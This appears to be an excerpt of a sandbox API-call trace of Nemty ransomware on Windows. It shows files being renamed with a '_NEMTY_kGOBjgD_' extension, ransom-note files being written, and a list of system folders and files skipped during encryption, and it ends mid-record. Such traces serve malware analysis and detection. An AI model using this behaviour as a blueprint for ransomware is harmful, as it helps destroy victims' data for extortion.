[0147.091] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.091] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0147.101] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.101] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0147.101] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.101] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0147.110] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.110] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0147.110] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.110] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0147.119] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.119] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0147.119] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.120] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0147.129] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.129] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0147.129] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.129] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0147.138] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.138] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0147.138] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.138] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0147.148] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.148] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0147.148] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.148] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0147.158] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.158] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0147.158] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.158] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0147.167] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.167] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0147.167] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.167] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0147.181] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.181] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0147.181] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.181] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0147.190] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.190] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0147.191] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.191] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0147.196] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.196] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0147.197] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.197] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0147.203] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.203] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0147.203] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.203] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0147.203] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0147.203] CloseHandle (hObject=0xffffffff) returned 0 [0147.203] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0147.203] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0147.203] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0147.203] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0147.203] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0147.203] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0147.203] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0147.203] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0147.203] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0147.203] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0147.203] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\icon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\icon.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\icon.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\icon.png._nemty_kgobjgd_")) returned 0 [0147.203] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0147.203] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0147.203] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0147.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0147.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0147.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0147.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0147.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0147.204] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="images", cAlternateFileName="")) returned 1 [0147.204] lstrcmpiW (lpString1="images", lpString2=".") returned 1 [0147.204] lstrcmpiW (lpString1="images", lpString2="..") returned 1 [0147.204] lstrcmpiW (lpString1="images", lpString2="...") returned 1 [0147.204] lstrcmpiW (lpString1="images", lpString2="windows") returned -1 [0147.204] lstrcmpiW (lpString1="images", lpString2="$RECYCLE.BIN") returned 1 [0147.204] lstrcmpiW (lpString1="images", lpString2="rsa") returned -1 [0147.204] lstrcmpiW (lpString1="images", lpString2="NTDETECT.COM") returned -1 [0147.204] lstrcmpiW (lpString1="images", lpString2="ntldr") returned -1 [0147.204] lstrcmpiW (lpString1="images", lpString2="MSDOS.SYS") returned -1 [0147.204] lstrcmpiW (lpString1="images", lpString2="IO.SYS") returned -1 [0147.204] lstrcmpiW (lpString1="images", lpString2="boot.ini") returned 1 [0147.204] lstrcmpiW (lpString1="images", lpString2="boot.ini") returned 1 [0147.204] lstrcmpiW (lpString1="images", lpString2="AUTOEXEC.BAT") returned 1 [0147.204] lstrcmpiW (lpString1="images", lpString2="ntuser.dat") returned -1 [0147.204] lstrcmpiW (lpString1="images", lpString2="desktop.ini") returned 1 [0147.204] lstrcmpiW (lpString1="images", lpString2="CONFIG.SYS") returned 1 [0147.204] lstrcmpiW (lpString1="images", lpString2="RECYCLER") returned -1 [0147.204] lstrcmpiW (lpString1="images", lpString2="BOOTSECT.BAK") returned 1 [0147.204] lstrcmpiW (lpString1="images", lpString2="bootmgr") returned 1 [0147.204] lstrcmpiW (lpString1="images", lpString2="programdata") returned -1 [0147.204] lstrcmpiW (lpString1="images", lpString2="appdata") returned 1 [0147.204] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="images", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.204] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="images", cchWideChar=6, lpMultiByteStr=0x653ef10, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="images", lpUsedDefaultChar=0x0) returned 6 [0147.204] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="images", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.204] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="images", cchWideChar=6, lpMultiByteStr=0x653ef10, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="images", lpUsedDefaultChar=0x0) returned 6 [0147.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0147.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0147.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0147.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0147.205] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0147.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0147.205] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0147.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0147.205] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0147.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0147.205] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0147.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340100 [0147.205] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0147.205] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0147.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0147.208] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.208] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0147.209] CloseHandle (hObject=0x1ec) returned 1 [0147.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0147.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0147.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0147.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0147.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0147.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0147.209] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0147.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0147.209] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0147.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0147.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0147.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0147.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0147.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340100 [0147.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0147.210] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0147.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0147.210] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.210] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0147.211] CloseHandle (hObject=0x1ec) returned 1 [0147.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0147.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0147.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0147.211] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb627330, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xb627330, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0147.211] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0147.211] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb627330, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xb627330, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.212] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0147.212] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0147.212] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b43b7f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85b43b7f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3d468497, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd86, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="blank.png", cAlternateFileName="")) returned 1 [0147.212] lstrcmpiW (lpString1="blank.png", lpString2=".") returned 1 [0147.212] lstrcmpiW (lpString1="blank.png", lpString2="..") returned 1 [0147.212] lstrcmpiW (lpString1="blank.png", lpString2="...") returned 1 [0147.212] lstrcmpiW (lpString1="blank.png", lpString2="windows") returned -1 [0147.212] lstrcmpiW (lpString1="blank.png", lpString2="$RECYCLE.BIN") returned 1 [0147.212] lstrcmpiW (lpString1="blank.png", lpString2="rsa") returned -1 [0147.212] lstrcmpiW (lpString1="blank.png", lpString2="NTDETECT.COM") returned -1 [0147.212] lstrcmpiW (lpString1="blank.png", lpString2="ntldr") returned -1 [0147.212] lstrcmpiW (lpString1="blank.png", lpString2="MSDOS.SYS") returned -1 [0147.212] lstrcmpiW (lpString1="blank.png", lpString2="IO.SYS") returned -1 [0147.212] lstrcmpiW (lpString1="blank.png", lpString2="boot.ini") returned -1 [0147.212] lstrcmpiW (lpString1="blank.png", lpString2="boot.ini") returned -1 [0147.212] lstrcmpiW (lpString1="blank.png", lpString2="AUTOEXEC.BAT") returned 1 [0147.212] lstrcmpiW (lpString1="blank.png", lpString2="ntuser.dat") returned -1 [0147.212] lstrcmpiW (lpString1="blank.png", lpString2="desktop.ini") returned -1 [0147.212] lstrcmpiW (lpString1="blank.png", lpString2="CONFIG.SYS") returned -1 [0147.212] lstrcmpiW (lpString1="blank.png", lpString2="RECYCLER") returned -1 [0147.212] lstrcmpiW (lpString1="blank.png", lpString2="BOOTSECT.BAK") returned -1 [0147.212] lstrcmpiW (lpString1="blank.png", lpString2="bootmgr") returned -1 [0147.212] lstrcmpiW (lpString1="blank.png", lpString2="programdata") returned -1 [0147.212] lstrcmpiW (lpString1="blank.png", lpString2="appdata") returned 1 [0147.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0147.212] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="blank.png", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.212] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="blank.png", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blank.png", lpUsedDefaultChar=0x0) returned 9 [0147.212] 